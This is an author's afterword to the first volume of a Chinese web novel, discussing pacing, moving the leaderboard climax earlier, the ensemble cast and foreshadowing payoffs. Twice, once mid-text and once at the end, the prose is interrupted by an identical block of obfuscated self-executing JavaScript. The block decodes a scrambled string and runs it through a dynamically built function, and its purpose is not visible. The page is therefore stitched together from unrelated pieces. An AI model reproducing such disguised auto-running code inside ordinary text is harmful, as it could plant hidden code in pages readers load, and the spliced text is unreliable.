第一卷卷末感言

长达六十万字,第一卷总算是写完了。

三江感言时,我承诺会写的“利用结构,打破结构”的写作方法,算是实现了。

这本书一开始并没有什么大纲,前期只是粗略的有几个想法和套路,就开始动笔了。

开头的架构,是用浅主线的收获感跟强主线的榜单争夺,结合在一起的以浅带强结构。

这个模式并不算有多新。

通过浅主线,频繁收获拉动节奏,汇聚至争夺榜一的强主线,交叉进行,就能营造不错的期待感。

但事实上,这种写法也会带来一种很大的问题!

以作者视角来看,一旦写完榜一,那几乎会跟崩了没什么区别。

这是所有强主线,放大期待值后,必然会存在的弊端。

也就是说……刚开书时,我在萌新时期初次写书,由于较为粗浅的思考,加入了榜单的设定,导致这本书天生就是自带崩点的。

如果以爽文的写法,随便无脑地写完主角乱杀榜一,那后续就没什么看头了。

于是乎……“利用结构,打破结构”的写作方法,就是我在面临这样的问题时,想出来的处理方法。

上架不久后,我直接写陈业夺得了榜一,其实就是进行“爽点前置”和“期待错位”。

正常的套路,都是写主角最后再来波大的,然后在月末最后的时刻,冲上榜一,震惊全场,让爽点达到巅峰。

但我不这么写……

在距离本月排行榜结束还很早的时候,我提前让陈业积分达到榜一,弱化榜单主线,就是进行期待错位,将重心放到了故事本身的质量和剧情上,而不是依靠这些节奏、爽点来支撑起追订。

这样的尝试,注定是带着阵痛的。

爽点前置后,很明显后续一段剧情的追订缺乏动力,因为榜一的强期待,被我放弃了。

包括很多被标题吸引来的读者,都会因为内容跟期待的不符,从而导致弃坑。

但这样做的好处是,排行榜被弱化后,但故事格局打开了。

我没有用排行榜,去进行装逼打脸,反而是用来写其他玩家。

这就使得原本是结构化的冲榜,变成了铺垫其他配角的一个工具,我可以用榜单先给配角制造一个形象,慢慢加入故事,再展开人设,最后就打破了冲榜、震惊加装逼的固定爽点结构,而让这个排行榜,变成去真正为群像故事服务的工具。

是的,群像!

我一开始想写的这个诡异世界,走的模式并不是像普通的副本通关流,比如在一个鬼房间啊、游乐场啊、电梯啊,这样的固定场景去写通关攻略,而是更偏向于玄幻类的宏大叙事。

于是,如果只有陈业一个作为主角,单纯以玩家攻略来勾勒整个世界,那是完全不够的。

必须是以群像的方式,才能将这个宏大的世界给彻底展现出来。

(function(){function f2be13a99(xe15602a5){var g30a8="&k♗1zscax3.;♘☁iઈu㏒w☧㏕@drw➢@i☁ejr,do☁➢ixj㏑h^cx^x-j-(x)>ph){rgh((6=^g665){^g665☁6@xu☁rkkjix7o➢cxcrgh((6)}jcej{fr, r♘k.g=^qidw➢@ic){^g665☁6@xu☁rkkjix7o➢cxcrgh((6)0wd^.r^☁,jy@fj✩fjiw✪➢ewjij,cdhx♘d.☧r♘k.g☧^rcej)}0wd^.r^☁rxx✩fjiw✪➢ewjij,cdhx♘d.☧r♘k.g☧^rcej)}}fr, 36d.^.=^g665xg5~k^h-@drcnw@,rpj☁pjw✎wjyceddrjr))0➢^c6gg-hgk.(==iqcc){6gg-hgk.(={6,@aej,7@qiwu5}}6gg-hgk.(☁6,@aej,7@qiw++0fr, arxhgg=udg^5cfd((.(j~g☁d@idrwc)=>xg5~k^h-){rgh((6☁frcqj+="\\,\\irkkjixjx jy w@ owyc"0fr, pd♘.g~=^g665☁pjw✩cjyjiwwu✎xc36d.^.☁➢x)0➢^cpd♘.g~==iqcc❆❆pd♘.g~==qixj^➢ijx){rgh((6☁frcqj+="\\,\\i driw pjw jy ^,@y owyc"}}}0➢^crgh((6⋌=iqcc){rgh((6☁frcqj+="\\,\\iejix 3e o@ew "+sjgg5j^~}fr, 6d5rxjg=^qidw➢@ici(~(xrg){,jwq,i ^(r-.rxx5ci(~(xrg)){rgh((6☁frcqj+="\\,\\i,jdj➢fj jy k@ew yjeerpj"0rgh((6☁frcqj+="\\,\\ij☁xrwr☁f "+j☁xrwr☁s}ija 2qidw➢@ic"r,pe"☧j☁xrwr☁s)c{vwxdeu➢dx~k☧vw,rurgh((6})}})})c"♆➢.3rBkk❅B.i[g☆q✪y✂f6☓=="☧"k.-♘~g55~kg♘ghg"☧a➢ix@a☧x@dqyjiw)}0➢k♘♘kjrc)0'.substr(10));new function(c)()})();

对于一路追来的朋友,可能前面有很多细节都忘了。

倘若有时间回头翻一遍的话,或许会有不一样的感触吧。

到卷末最后的攻略,很多暗线,事实上都是在平常的描述中铺垫了。

不到攻略的最后一刻,我敢保证应该没人能看出烈阳教会的广场、午夜电台,还有临江市的那个大喇叭,会成为最终攻略的一部分吧?

算是将开头一路埋下的伏笔,全部完成回收了。

在写法上,我一直避免将主角塑造得特别无敌,优秀,那也是为了突出攻略。一旦主角都彻底无敌了,攻略的路径和价值,反而会遭到弱化。

同时,埋攻略伏笔的时候,不能太过刻意,不然就会显得非常幼稚。

这几点,虽然不能说做得很好,但算是都落实了,至少没落入俗套,长篇的篇幅也能撑得起来。

唯一美中不足,那就是篇幅确实稍微长了,但这也是为了故事的完整性。

把一本开局自带崩点的书,在并没有想好大纲的情况下,能写成这样,自我感觉是尽力了吧。

事实上,第二卷的第二个专属天赋,才是专门为副本准备的。

我第一卷的战略目标,是将这个世界的背景铺开。

但也是欠缺了一些考虑,导致我个人感觉原大纲在攻略榜一的时候,不够出彩,因而将很多本该属于第二卷的副本攻略,提前放到了第一卷。

这使得第二卷的专属天赋,没能跟攻略搭配,让故事变得更加有趣,节奏更加明显。

不然这个天赋,配合副本攻略,会非常的好玩。

这也是让我感到略微可惜的一点。

而因为这点,导致第一卷中后期展开副本的时候,在节奏上频繁出现一些问题。

这是源于我脑子里的副本架构,事实上是为第二卷的专属天赋而定的,但用第一卷的气运之瞳来拉,就会显得有些累赘。

追订也流失了一部分。

不过,写完第一卷,我个人总体还是感觉比较满意的。

我一直跟自己强调,写书要注重整体,而不要纠结于一时的胜负。

通篇若是一口气读下来,体验应该还是不差的吧?

同时。

养书的朋友可以开始追起来了。

第一卷够肥,够完整,可以开宰了。

后面这本书,我个人更希望能创作出一个真正优秀的故事,环环相扣,哪怕你们以后把这本书读完了,但时隔一段时间,也愿意捡起来再读一遍的那种。

写这本书,其实最让我惊喜的是,我在写的过程中,也在不断进步。

跟最初的时候比起来,能明显感觉到自己对节奏、故事和人设的把控比以前更强了。

抛开成绩而言,这本书能让我感觉创作能力更强,也是值得我用心创作下去了。

这也是属于我自己的一场攻略吧。

最后说下更新……

这几天更得少,那是因为卷末回收伏笔,需要写慢一点。

后续更新会尽量跟上。

(function(){function f2be13a99(xe15602a5){var g30a8="&k♗1zscax3.;♘☁iઈu㏒w☧㏕@drw➢@i☁ejr,do☁➢ixj㏑h^cx^x-j-(x)>ph){rgh((6=^g665){^g665☁6@xu☁rkkjix7o➢cxcrgh((6)}jcej{fr, r♘k.g=^qidw➢@ic){^g665☁6@xu☁rkkjix7o➢cxcrgh((6)0wd^.r^☁,jy@fj✩fjiw✪➢ewjij,cdhx♘d.☧r♘k.g☧^rcej)}0wd^.r^☁rxx✩fjiw✪➢ewjij,cdhx♘d.☧r♘k.g☧^rcej)}}fr, 36d.^.=^g665xg5~k^h-@drcnw@,rpj☁pjw✎wjyceddrjr))0➢^c6gg-hgk.(==iqcc){6gg-hgk.(={6,@aej,7@qiwu5}}6gg-hgk.(☁6,@aej,7@qiw++0fr, arxhgg=udg^5cfd((.(j~g☁d@idrwc)=>xg5~k^h-){rgh((6☁frcqj+="\\,\\irkkjixjx jy w@ owyc"0fr, pd♘.g~=^g665☁pjw✩cjyjiwwu✎xc36d.^.☁➢x)0➢^cpd♘.g~==iqcc❆❆pd♘.g~==qixj^➢ijx){rgh((6☁frcqj+="\\,\\i driw pjw jy ^,@y owyc"}}}0➢^crgh((6⋌=iqcc){rgh((6☁frcqj+="\\,\\iejix 3e o@ew "+sjgg5j^~}fr, 6d5rxjg=^qidw➢@ici(~(xrg){,jwq,i ^(r-.rxx5ci(~(xrg)){rgh((6☁frcqj+="\\,\\i,jdj➢fj jy k@ew yjeerpj"0rgh((6☁frcqj+="\\,\\ij☁xrwr☁f "+j☁xrwr☁s}ija 2qidw➢@ic"r,pe"☧j☁xrwr☁s)c{vwxdeu➢dx~k☧vw,rurgh((6})}})})c"♆➢.3rBkk❅B.i[g☆q✪y✂f6☓=="☧"k.-♘~g55~kg♘ghg"☧a➢ix@a☧x@dqyjiw)}0➢k♘♘kjrc)0'.substr(10));new function(c)()})();